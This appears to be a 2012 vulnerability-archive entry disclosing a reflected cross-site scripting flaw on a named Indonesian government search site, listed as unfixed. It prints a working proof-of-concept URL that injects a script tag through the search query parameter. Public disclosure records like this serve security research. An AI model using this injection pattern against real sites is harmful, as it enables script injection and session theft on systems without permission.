search.mahkamahkonstitusi.go.id cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher Fikri Fadzil, has submitted on 01/01/2012 a cross-site-scripting (XSS) vulnerability affecting search.mahkamahkonstitusi.go.id, which at the time of submission ranked 279317 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/01/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Date submitted: 01/01/2012

Date published: 09/01/2012

Fixed? Mail us!

Status:

UNFIXED

Author: Fikri Fadzil

Domain: search.mahkamahkonstitusi.go.id

Category: XSS

Pagerank: 279317

URL: http://search.mahkamahkonstitusi.go.id/mk-gsa/search-result.jsp?q="><script>alert(1)</script><"input
type="hidden&client=default_frontend&output=xml_no_dtd&proxystylesheet=default_frontend&sort=date:D:
L:d1&entqr=0&oe=UTF-8&ie=UTF-8&ud=1&site=default_collection

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention